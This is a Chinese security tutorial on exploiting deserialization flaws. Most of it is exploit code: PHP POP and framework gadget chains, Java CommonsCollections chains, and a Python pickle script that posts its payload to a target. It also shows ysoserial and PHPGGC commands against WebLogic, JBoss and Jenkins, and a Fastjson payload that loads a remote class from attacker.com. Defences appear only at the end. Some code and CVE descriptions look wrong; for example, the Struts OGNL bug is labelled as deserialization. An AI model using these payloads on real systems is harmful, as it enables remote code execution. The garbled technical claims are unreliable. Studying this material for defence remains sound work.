Day-052-反序列化漏洞实战

# Day 50: 反序列化漏洞实战

> Web 安全系列第 20 天 | 预计阅读时间：40 分钟 | 难度：★★★★★

---

## 清单 目录

1. [反序列化漏洞回顾](#反序列化漏洞回顾)
2. [PHP 反序列化实战](#php 反序列化实战)
3. [Java 反序列化实战](#java 反序列化实战)
4. [Python 反序列化实战](#python 反序列化实战)
5. [框架漏洞利用](#框架漏洞利用)
6. [漏洞挖掘技术](#漏洞挖掘技术)
7. [自动化利用工具](#自动化利用工具)
8. [实战案例分析](#实战案例分析)
9. [防护策略与最佳实践](#防护策略与最佳实践)
10. [总结与思考](#总结与思考)
11. [参考资料](#参考资料)

---

## 反序列化漏洞回顾

### 基础回顾

**什么是反序列化**：
```
序列化：对象 → 字节流
反序列化：字节流 → 对象

危险点：
- 反序列化过程中自动调用方法
- 用户控制序列化数据
- 存在可利用的类
```

**常见语言**：
```
PHP: unserialize()
Java: ObjectInputStream.readObject()
Python: pickle.loads()
Node.js: unserialize()
Go: gob.Unmarshal()
```

### 漏洞原理

**PHP**：
```php
class Vulnerable {
    public function __wakeup() {
        system($this->cmd);
    }
}

unserialize($_GET['data']);
```

**Java**：
```java
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = ois.readObject();
// 自动调用 readObject/__readResolve
```

**Python**：
```python
class Exploit:
    def __reduce__(self):
        return (os.system, ('whoami',))

pickle.loads(data)
```

---

## PHP 反序列化实战

### POP 链构造

**什么是 POP 链**：
```
POP（Property Oriented Programming）链：
- 利用现有类的方法
- 构造调用链
- 触发危险操作
- 无需新代码
```

**链构造步骤**：
```
步骤 1: 寻找起点
   寻找有魔术方法的类

步骤 2: 寻找中间节点
   寻找可被调用的方法

步骤 3: 寻找终点
   寻找危险函数

步骤 4: 连接链
   构造对象关系
```

**示例**：
```php
<?php
class A {
    public $obj;
    
    public function __destruct() {
        $this->obj->execute();
    }
}

class B {
    public $target;
    
    public function execute() {
        $this->target->run();
    }
}

class C {
    public $cmd;
    
    public function run() {
        system($this->cmd);
    }
}

// 构造 POP 链
$a = new A();
$a->obj = new B();
$a->obj->target = new C();
$a->obj->target->cmd = 'whoami';

$payload = serialize($a);
?>
```

### 框架 Gadget 链

**Laravel Gadget**：
```php
<?php
// Laravel 5.4.29 之前
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        
        public function __destruct() {
            $this->events->dispatch($this->event);
        }
    }
}

namespace Illuminate\Events {
    class Dispatcher {
        protected $listeners;
        
        public function dispatch($event) {
            $this->callCustomListener($this->listeners, $event);
        }
        
        protected function callCustomListener($listeners, $event) {
            foreach ($listeners as $listener) {
                $listener[0]($event);
            }
        }
    }
}

// 利用
$dispatcher = new Dispatcher();
$dispatcher->listeners = [['system', 'whoami']];

$broadcast = new PendingBroadcast();
$broadcast->events = $dispatcher;
$broadcast->event = 'test';

echo serialize($broadcast);
?>
```

**ThinkPHP Gadget**：
```php
<?php
// ThinkPHP 5.x
namespace think\model\concern {
    trait Conversion {
        protected $append = [];
        
        protected function getAttr($name) {
            // ...
        }
    }
}

namespace think\model {
    use think\model\concern\Conversion;
    
    class Model {
        use Conversion;
        
        protected $data = [];
        protected $withAttr = [];
        
        public function __destruct() {
            foreach ($this->data as $key => $value) {
                $this->getAttr($key);
            }
        }
    }
}
?>
```

### 实际利用

**Cookie 反序列化**：
```php
// 漏洞代码
$user_data = unserialize($_COOKIE['user']);

// Payload
class Exploit {
    public function __wakeup() {
        system($_GET['c']);
    }
}

$exploit = new Exploit();
$payload = base64_encode(serialize($exploit));
// 设置 Cookie
```

**Session 反序列化**：
```php
// 漏洞代码
session_start();
$_SESSION['data'] = unserialize($user_input);

// Payload
// 同上
```

**API 输入**：
```php
// 漏洞代码
$data = json_decode($input, true);
$obj = unserialize($data['serialized']);

// Payload
// 同上
```

---

## Java 反序列化实战

### ysoserial 使用

**什么是 ysoserial**：
```
ysoserial 是 Java 反序列化漏洞利用工具，
由 Chris Frohoff 开发。

GitHub: https://github.com/frohoff/ysoserial

功能：
- 生成各种 Gadget 链的 Payload
- 支持多种库和框架
- 命令行工具
```

**安装使用**：
```bash
# 下载
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# 查看可用 Gadget
java -jar ysoserial-all.jar

# 生成 Payload
java -jar ysoserial-all.jar CommonsCollections5 "whoami" > payload.bin

# 发送 Payload
curl -X POST --data-binary @payload.bin http://target.com/api
```

### CommonsCollections Gadget

**CommonsCollections1**：
```java
// 适用版本：CommonsCollections 3.2.1

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, 
        new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, 
        new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", new Class[] {String.class}, 
        new Object[] {"whoami"})
};

Transformer chainedTransformer = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

// ... 构造 Payload
```

**CommonsCollections5**：
```java
// 适用版本：CommonsCollections 3.2.1 / 4.0

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

Transformer transformer = new InvokerTransformer(
    "exec",
    new Class[] {String.class},
    new Object[] {"whoami"}
);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

// ... 构造 Payload
```

### 框架漏洞利用

**WebLogic 漏洞**：
```bash
# CVE-2015-4852
# 生成 Payload
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.bin

# 发送 T3 请求
python weblogic_exploit.py target 7001 payload.bin

# 执行命令
whoami
id
```

**JBoss 漏洞**：
```bash
# CVE-2017-7504
# 生成 Payload
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.bin

# 发送请求
curl -X POST \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin \
  http://target:8080/invoker/JMXInvokerServlet
```

**Jenkins 漏洞**：
```bash
# CVE-2016-0788
# 生成 Payload
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.bin

# 发送 CLI 请求
java -jar jenkins-cli.jar -s http://target:8080/ < payload.bin
```

---

## Python 反序列化实战

### pickle 利用

**基础利用**：
```python
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('whoami',))

payload = pickle.dumps(Exploit())
```

**完整利用**：
```python
#!/usr/bin/env python3
# exploit.py

import pickle
import base64
import requests

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('whoami',))

# 生成 Payload
payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()

# 发送请求
url = 'http://target.com/api'
params = {'data': encoded}
response = requests.get(url, params=params)

print(response.text)
```

### YAML 反序列化

**PyYAML 漏洞**：
```python
import yaml

# 危险的反序列化
data = yaml.load(user_input)  # 危险！

# Payload：
# !!python/object/apply:os.system
# args: ["whoami"]

# 安全的反序列化
data = yaml.safe_load(user_input)  # 安全
```

**完整利用**：
```python
import yaml

payload = """
!!python/object/apply:subprocess.check_output
args: [['whoami']]
"""

result = yaml.load(payload)
print(result)  # 执行 whoami
```

### 其他 Python 反序列化

**marshal 反序列化**：
```python
import marshal

# 危险
data = marshal.loads(user_input)

# 利用
# 类似 pickle
```

**shelve 反序列化**：
```python
import shelve

# 危险
db = shelve.open('data')
data = db['key']

# 利用
# 类似 pickle
```

---

## 框架漏洞利用

### Spring Framework

**Spring AOP 反序列化**：
```java
// CVE-2016-4970
// Spring Security 中的反序列化漏洞

// Gadget 链：
// AnnotationInvocationHandler
// → AopProxyFactory
// → DefaultAdvisorChainFactory
// → 执行任意代码

// 影响版本：
// Spring Security < 4.2.2
// Spring Framework < 4.3.3
```

**Spring Data Commons**：
```java
// CVE-2018-1273
// Spring Data REST 中的反序列化漏洞

// 利用方式：
// 通过 WebSocket 消息
// 发送恶意序列化对象
// 执行任意代码

// 修复：
// 升级到安全版本
// 禁用反序列化
```

### Apache Struts

**Struts2 反序列化**：
```java
// CVE-2017-5638
// Struts2 文件上传漏洞

// 利用方式：
// Content-Type: %{#cmd='whoami',#mem=...}
// 执行任意代码

// 影响版本：
// Struts 2.3.5 - 2.3.31
// Struts 2.5 - 2.5.10

// 修复：
// 升级到安全版本
```

### Fastjson

**Fastjson 反序列化**：
```java
// CVE-2017-18349
// Fastjson 反序列化漏洞

// Payload：
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://attacker.com/exploit",
  "autoCommit": true
}

// 利用方式：
// JNDI 注入
// 加载远程类
// 执行任意代码

// 修复：
// 升级到安全版本
// 禁用 autoType
// 使用白名单
```

---

## 漏洞挖掘技术

### 代码审计

**寻找反序列化点**：
```
PHP:
grep -r "unserialize(" .
grep -r "serialize(" .

Java:
grep -r "readObject" .
grep -r "ObjectInputStream" .

Python:
grep -r "pickle.loads" .
grep -r "yaml.load" .

Node.js:
grep -r "deserialize" .
grep -r "JSON.parse" .
```

**寻找 Gadget**：
```
PHP:
grep -r "__wakeup" .
grep -r "__destruct" .
grep -r "__toString" .

Java:
查找 Serializable 类
查找 readObject 方法
查找常用库
```

### 动态测试

**Fuzzing**：
```python
# 序列化 Fuzzing
import pickle

def fuzz_unserialize(data):
    try:
        pickle.loads(data)
    except:
        pass

# 发送不同 Payload
# 观察响应差异
```

**Gadget 发现**：
```python
# 自动发现可用类
import pickle

class Finder:
    def __reduce__(self):
        # 返回类信息
        return (print, ('Found',))

pickle.dumps(Finder())
```

---

## 自动化利用工具

### PHPGGC

**PHP Gadget Chain Constructor**：
```bash
# 安装
git clone https://github.com/ambionics/phpggc
cd phpggc

# 查看可用 Gadget
./phpggc -l

# 生成 Payload
./phpggc Laravel/RCE1 'whoami'
./phpggc Symfony/RCE1 'whoami'
./phpggc WordPress/RCE1 'whoami'

# 编码
./phpggc Laravel/RCE1 'whoami' -b base64
```

### ysoserial

**Java 反序列化利用**：
```bash
# 安装
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# 查看可用 Gadget
java -jar ysoserial-all.jar

# 生成 Payload
java -jar ysoserial-all.jar CommonsCollections5 'whoami' > payload.bin
java -jar ysoserial-all.jar Spring1 'whoami' > payload.bin
java -jar ysoserial-all.jar Hibernate1 'whoami' > payload.bin
```

### marshalsec

**Java 反序列化工具**：
```bash
# 安装
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

# 生成 Payload
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.JdbcRowSetImpl ldap://attacker.com/exploit
```

---

## 实战案例分析

### 案例 1: CMS 反序列化漏洞

**漏洞描述**：
```
产品：某开源 CMS
漏洞：Cookie 反序列化
CVE: CVE-2018-XXXX
影响：远程代码执行
```

**发现过程**：
```
1. 代码审计
   发现 Cookie 反序列化
   
2. 寻找 Gadget
   找到可利用类
   
3. 构造 Payload
   生成序列化数据
   
4. 验证漏洞
   执行命令成功
```

**利用过程**：
```php
<?php
// 1. 分析代码
// 找到反序列化点
$data = unserialize($_COOKIE['user_data']);

// 2. 寻找 Gadget
class Exploit {
    public function __destruct() {
        system($this->cmd);
    }
}

// 3. 构造 Payload
$exploit = new Exploit();
$exploit->cmd = 'whoami';
$payload = base64_encode(serialize($exploit));

// 4. 设置 Cookie
Set-Cookie: user_data=<?php echo $payload; ?>

// 5. 访问网站
// Cookie 被反序列化
// 执行命令
?>
```

**修复方案**：
```
1. 移除反序列化
   使用 JSON 存储

2. 验证 Cookie 签名
   HMAC 验证

3. 升级 CMS
   使用安全版本
```

### 案例 2: 框架反序列化链

**漏洞描述**：
```
产品：某 PHP 框架
漏洞：Gadget 链
CVE: CVE-2019-XXXX
影响：远程代码执行
```

**Gadget 链分析**：
```php
<?php
// 链结构
// Framework\Session → Framework\Event → Exploit

namespace Framework {
    class Session {
        public $data;
        
        public function __destruct() {
            foreach ($this->data as $key => $value) {
                $this->process($value);
            }
        }
        
        protected function process($value) {
            // 处理数据
        }
    }
    
    class Event {
        public $callback;
        
        public function __invoke() {
            call_user_func($this->callback);
        }
    }
}

// 利用
$session = new Framework\Session();
$session->data = [new Framework\Event()];
$session->data[0]->callback = ['system', 'whoami'];

$payload = serialize($session);
?>
```

**修复方案**：
```
1. 升级框架
   使用安全版本

2. 禁用反序列化
   使用 JSON

3. 代码审计
   寻找其他 Gadget
```

---

## 防护策略与最佳实践

### 代码层面防护

**避免反序列化**：
```
最佳方案是不使用反序列化。

替代方案：
- 使用 JSON
- 使用 Protocol Buffers
- 使用安全的序列化格式
```

**白名单机制**：
```php
// PHP 7+
unserialize($data, ['allowed_classes' => ['User', 'Product']]);

// 仅允许特定类
// 其他类反序列化失败
```

**签名验证**：
```php
<?php
// 序列化时签名
$data = serialize($object);
$signature = hash_hmac('sha256', $data, $secret);
$stored = $data . '|' . $signature;

// 反序列化时验证
list($data, $signature) = explode('|', $stored, 2);
if (hash_hmac('sha256', $data, $secret) !== $signature) {
    throw new Exception('Invalid signature');
}
$object = unserialize($data);
?>
```

### 运行时防护

**WAF 规则**：
```
检测序列化特征：
- PHP: O:\d+:"
- Java: \xac\xed
- Python: \x80\x0[2-4]

阻断可疑请求：
- 包含序列化数据
- 无合法业务场景
- 来源可疑
```

**监控告警**：
```
监控：
- unserialize() 调用
- 魔术方法执行
- 危险函数调用

告警：
- 反序列化失败
- 未知类反序列化
- 频繁反序列化
```

### 框架防护

**Laravel**：
```php
// 使用加密
Crypt::encrypt(serialize($data));
$data = unserialize(Crypt::decrypt($encrypted));

// 或使用 JSON
json_encode($data);
json_decode($data, true);
```

**Symfony**：
```php
// 使用 Serializer 组件
use Symfony\Component\Serializer\Serializer;
use Symfony\Component\Serializer\Encoder\JsonEncoder;
use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;

$encoders = [new JsonEncoder()];
$normalizers = [new ObjectNormalizer()];
$serializer = new Serializer($normalizers, $encoders);

// 安全序列化
$serializer->serialize($object, 'json');
```

---

## 总结与思考

### 核心要点回顾

1. **反序列化漏洞**
   - 多语言普遍存在
   - 框架依赖复杂
   - Gadget 链利用

2. **高级利用**
   - 框架 Gadget 链
   - 多语言利用
   - 自动化利用

3. **防护策略**
   - 避免反序列化
   - 白名单机制
   - 签名验证

### 深入思考问题

1. **为什么反序列化漏洞难修复**？
   - 业务依赖
   - 兼容性要求
   - 历史代码

2. **云环境下的风险**？
   - 微服务通信
   - 消息队列
   - 新的攻击面

3. **未来防护方向**？
   - 类型安全
   - 序列化替代
   - 运行时保护

### 实战建议

**开发人员**：
1. 避免反序列化
2. 使用安全格式
3. 验证数据来源
4. 实施白名单

**安全人员**：
1. 代码审计
2. 寻找 Gadget
3. 自动化测试
4. 监控告警

**管理层**：
1. 安全培训
2. 依赖管理
3. 补丁管理
4. 应急响应

---

## 参考资料

### 学习资源
- [OWASP Deserialization](https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data)
- [PHP Deserialization](https://www.owasp.org/index.php/PHP_Object_Injection)
- [Java Deserialization](https://www.owasp.org/index.php/Java_Deserialization_Cheat_Sheet)

### 工具资源
- [ysoserial](https://github.com/frohoff/ysoserial)
- [PHPGGC](https://github.com/ambionics/phpggc)
- [marshalsec](https://github.com/mbechler/marshalsec)

### 书籍推荐
- 《Java 反序列化漏洞分析与利用》
- 《Web 安全深度剖析》
- 《白帽子讲 Web 安全》

---

**标记 明日预告**：Day 51 - Web 安全综合实战

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 50 篇，Web 安全部分第 20 篇，精编版本*